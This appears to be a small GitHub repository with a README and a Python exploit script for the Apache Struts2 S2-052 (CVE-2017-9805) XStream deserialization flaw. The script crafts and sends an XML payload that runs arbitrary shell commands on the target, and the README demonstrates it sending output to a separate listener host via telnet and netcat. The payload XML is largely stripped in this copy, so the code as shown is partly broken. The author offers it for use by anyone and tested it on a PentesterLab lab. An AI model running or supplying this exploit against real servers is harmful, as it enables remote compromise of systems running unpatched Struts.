├── README.md └── s2-052.py /README.md: -------------------------------------------------------------------------------- 1 | # Vulnerability information 2 | Resources: 3 | * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805 4 | 5 | # What is this? 6 | A python exploit script capable of executing remote commands into the shell of a system hosting a Struts2 vulnerable to S2-052. 7 | 8 | # Usage 9 | ╭─root@blackshell ~/ 10 | ╰─# python s2-052.py --target 'http://192.168.0.233/orders/3' --command "echo pwned | telnet 192.168.0.122 1234" 11 | ```bash 12 | [*] Apache Struts XStream REST vulnerability - S2-052 13 | [*] Creating payload ... 14 | [*] Exploit packet has 2582 bytes. 15 | [*] Sending exploit packet ... 16 | [+] Exploit packet has been sent. 17 | ``` 18 | 19 | ╭─zc00l@blackshell ~/ 20 | ╰─$ nc -lvp 1234 21 | ```bash 22 | listening on [any] 1234 ... 23 | connect to [192.168.0.122] from vulnerable.lan [192.168.0.233] 55791 24 | pwned 25 | ``` 26 | 27 | Tested on pentesterlab vulnerable machine of exercise s2-052. 28 | 29 | # Author rights 30 | This exploit script was written by me (zc00l) and can be used by anyone. 31 | 32 | In case you want to use or modify this script, please give the rightful credits for any work already done. 33 | -------------------------------------------------------------------------------- /s2-052.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # zc00l own apache struts2 xstream rest exploit 3 | # ================================================ 4 | # Have fun :) 5 | from pwn import * 6 | from argparse import ArgumentParser 7 | import socket 8 | 9 | DEBUG = False 10 | PACKET_HEADER = """POST TARGETURI HTTP/1.1 11 | Host: IPADDRESS:PORT 12 | User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 13 | Content-Type: application/xml 14 | Content-Length: CONTENT_LENGTH_BYTES 15 | Connection: close 16 | 17 | """ 18 | PAYLOAD = """ 19 | 20 | 21 | 0 22 | 23 | 24 | 25 | 26 | 27 | false 28 | 0 29 | 30 | 31 | 32 | 33 | 34 | /bin/sh-czc00l 35 | 36 | false 37 | 38 | 39 | 40 | 41 | java.lang.ProcessBuilder 42 | start 43 | 44 | 45 | p4WVJLW2H 46 | 47 | 6Fcg22xLlaHiIK8 48 | 49 | 50 | 51 | 52 | 53 | false 54 | 0 55 | 0 56 | false 57 | 58 | false 59 | 60 | 61 | 62 | 0 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | """ 73 | 74 | def adjust_command(command): 75 | """ 76 | Adjust the payload to avoid any errors. 77 | """ 78 | tmp_command = str() 79 | if "&" in command: 80 | tmp_command = "echo " 81 | tmp_command += command.encode("base64") 82 | tmp_command += "|base64 -d|bash" 83 | 84 | command = tmp_command.replace("\n", "") 85 | if DEBUG is True: 86 | print hexdump(command) 87 | print("Final command: {0}".format(command)) 88 | return command 89 | 90 | def adjust_payload(uri, ipaddress, port, command): 91 | """ 92 | Adjust payload with the supplied command from operator. 93 | """ 94 | header = PACKET_HEADER.replace("IPADDRESS", ipaddress) 95 | header = header.replace("PORT", str(port)) 96 | header = header.replace("TARGETURI", uri) 97 | payload = PAYLOAD.replace("zc00l", command) 98 | 99 | # Count bytes from final payload and set it to header 100 | content_length = len(payload) 101 | header = header.replace("CONTENT_LENGTH_BYTES", str(content_length)) 102 | 103 | # Craft the final HTTP post payload 104 | exploit_pkt = header + payload 105 | return exploit_pkt 106 | 107 | def send_exploit(ip, port, payload): 108 | """ 109 | Send the exploit packet to the remote server. 110 | """ 111 | try: 112 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 113 | sock.connect((ip, int(port))) 114 | sock.send(payload) 115 | except Exception as e: 116 | error("Exploit failed: {0}".format(e)) 117 | return 0 118 | 119 | def parse_target(target): 120 | """" 121 | Function to parse a "http://ipaddress:port/orders/N" input 122 | and get the information to be usable by the exploit script. 123 | """ 124 | try: 125 | data = target.rsplit('/') 126 | ip = data[2] # this gets the IP address from http://IP 127 | if ":" not in ip: 128 | port = 80 129 | else: 130 | port = ip.split(":")[1] 131 | ind = data.index(ip) + 1 132 | uri = '/' + '/'.join(data[ind:]) 133 | except Exception as e: 134 | error("Error parsing target information: {0}".format(e)) 135 | info("Target information: ") 136 | print("\tIP .....: {0}".format(ip)) 137 | print("\tPort ...: {0}".format(port)) 138 | print("\tURI ....: {0}".format(uri)) 139 | return ip, port, uri 140 | 141 | def main(): 142 | info("Apache Struts XStream REST vulnerability - S2-052") 143 | parser = ArgumentParser() 144 | parser.add_argument("--target", required=True, type=str, help="Exploit URL, like http://website.com/orders/1") 145 | parser.add_argument("--command", required=True, type=str, help="Command to be executed") 146 | args = parser.parse_args() 147 | 148 | command = args.command 149 | command = adjust_command(command) 150 | ip, port, uri = parse_target(args.target) 151 | 152 | info("Creating payload ...") 153 | exploit_pkt = adjust_payload(uri, ip, port, args.command) 154 | info("Exploit packet has {0} bytes.".format(len(exploit_pkt))) 155 | 156 | if DEBUG is True: 157 | print hexdump(exploit_pkt) 158 | 159 | info("Sending exploit packet ...") 160 | send_exploit(ip, port, exploit_pkt) 161 | success("Exploit packet has been sent.") 162 | return 0 163 | 164 | 165 | if __name__ == "__main__": 166 | main() 167 | 168 | --------------------------------------------------------------------------------